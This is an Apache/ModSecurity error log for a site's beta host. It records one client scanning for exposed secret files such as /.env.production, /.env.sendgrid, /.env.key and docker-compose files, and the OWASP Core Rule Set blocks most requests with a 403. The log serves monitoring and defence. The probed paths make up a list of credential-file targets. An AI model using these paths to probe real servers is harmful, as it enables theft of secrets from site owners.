[Mon Oct 26 14:54:35.284375 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at-h681s7k65ejr69eONsQAAABc"]
[Mon Oct 26 14:54:35.326872 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at-h62Ewr5uQBdiYd9TuNwAAACQ"]
[Mon Oct 26 14:54:35.327115 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at-h62Ewr5uQBdiYd9TuNwAAACQ"]
[Mon Oct 26 14:54:35.327411 2026] [security2:error] [pid 3084024:tid 3084024] [client 34.39.215.232:33136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at-h62Ewr5uQBdiYd9TuNwAAACQ"]
[Mon Oct 26 14:54:35.328545 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at-h622tU31X1qF-NiHkPQAAACc"]
[Mon Oct 26 14:54:35.328741 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at-h622tU31X1qF-NiHkPQAAACc"]
[Mon Oct 26 14:54:35.329005 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at-h622tU31X1qF-NiHkPQAAACc"]
[Mon Oct 26 14:54:35.329960 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at-h6-whFnyxLKqf5CkqggAAAB0"]
[Mon Oct 26 14:54:35.330123 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at-h6-whFnyxLKqf5CkqggAAAB0"]
[Mon Oct 26 14:54:35.330374 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at-h6-whFnyxLKqf5CkqggAAAB0"]
[Mon Oct 26 14:54:35.399788 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-h63Nsi4cqo2ItOKeAhgAAAAM"]
[Mon Oct 26 14:54:35.400110 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-h63Nsi4cqo2ItOKeAhgAAAAM"]
[Mon Oct 26 14:54:35.400354 2026] [security2:error] [pid 3052342:tid 3052342] [client 34.39.215.232:33302] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at-h63Nsi4cqo2ItOKeAhgAAAAM"]
[Mon Oct 26 14:54:35.426478 2026] [ssl:error] [pid 3084006:tid 3084006] (70014)End of file found: [client 3.212.205.90:53709] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:35.428564 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at-h681s7k65ejr69eONsgAAABc"]
[Mon Oct 26 14:54:35.428758 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at-h681s7k65ejr69eONsgAAABc"]
[Mon Oct 26 14:54:35.429001 2026] [security2:error] [pid 3084003:tid 3084003] [client 34.39.215.232:33362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.dev"] [unique_id "at-h681s7k65ejr69eONsgAAABc"]
[Mon Oct 26 14:54:35.430046 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at-h67JoBe2aZMAtY1nERgAAAA8"]
[Mon Oct 26 14:54:35.430235 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at-h67JoBe2aZMAtY1nERgAAAA8"]
[Mon Oct 26 14:54:35.430461 2026] [security2:error] [pid 3083995:tid 3083995] [client 34.39.215.232:33056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at-h67JoBe2aZMAtY1nERgAAAA8"]
[Mon Oct 26 14:54:35.432872 2026] [ssl:error] [pid 3084005:tid 3084005] (70014)End of file found: [client 52.71.46.142:45072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:35.433555 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:33300] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at-h6w7tQS1M73WECjKQrAAAAAY"]
[Mon Oct 26 14:54:35.433722 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:33300] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at-h6w7tQS1M73WECjKQrAAAAAY"]
[Mon Oct 26 14:54:35.433977 2026] [security2:error] [pid 3065806:tid 3065806] [client 34.39.215.232:33300] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at-h6w7tQS1M73WECjKQrAAAAAY"]
[Mon Oct 26 14:54:35.466442 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at-h67HcPQ_Go3aEyc2HYQAAACI"]
[Mon Oct 26 14:54:35.466623 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at-h67HcPQ_Go3aEyc2HYQAAACI"]
[Mon Oct 26 14:54:35.466865 2026] [security2:error] [pid 3084022:tid 3084022] [client 34.39.215.232:33144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at-h67HcPQ_Go3aEyc2HYQAAACI"]
[Mon Oct 26 14:54:35.485826 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at-h6x7tVIm23knyHD7xgwAAAAI"]
[Mon Oct 26 14:54:35.486093 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at-h6x7tVIm23knyHD7xgwAAAAI"]
[Mon Oct 26 14:54:35.486361 2026] [security2:error] [pid 3079560:tid 3079560] [client 34.39.215.232:33256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at-h6x7tVIm23knyHD7xgwAAAAI"]
[Mon Oct 26 14:54:35.506096 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at-h653e6IE-kR1toPobfwAAABE"]
[Mon Oct 26 14:54:35.525772 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at-h653e6IE-kR1toPobfwAAABE"]
[Mon Oct 26 14:54:35.526033 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at-h653e6IE-kR1toPobfwAAABE"]
[Mon Oct 26 14:54:35.524956 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at-h622tU31X1qF-NiHkPgAAACc"]
[Mon Oct 26 14:54:35.526604 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at-h622tU31X1qF-NiHkPgAAACc"]
[Mon Oct 26 14:54:35.526855 2026] [security2:error] [pid 3084027:tid 3084027] [client 34.39.215.232:33190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at-h622tU31X1qF-NiHkPgAAACc"]
[Mon Oct 26 14:54:35.556693 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at-h6yWrjl8F3pC1OEgOSwAAABI"]
[Mon Oct 26 14:54:35.556963 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at-h6yWrjl8F3pC1OEgOSwAAABI"]
[Mon Oct 26 14:54:35.557235 2026] [security2:error] [pid 3083999:tid 3083999] [client 34.39.215.232:33336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at-h6yWrjl8F3pC1OEgOSwAAABI"]
[Mon Oct 26 14:54:35.559808 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/docker-compose.dev.yml"] [unique_id "at-h6-whFnyxLKqf5CkqgwAAAB0"]
[Mon Oct 26 14:54:35.559916 2026] [security2:error] [pid 3084008:tid 3084008] [client 34.39.215.232:32996] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/docker-compose.dev.yml"] [unique_id "at-h6-whFnyxLKqf5CkqgwAAAB0"]
[Mon Oct 26 14:54:35.707618 2026] [security2:error] [pid 3083998:tid 3083998] [client 34.39.215.232:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at-h653e6IE-kR1toPobgAAAABE"]
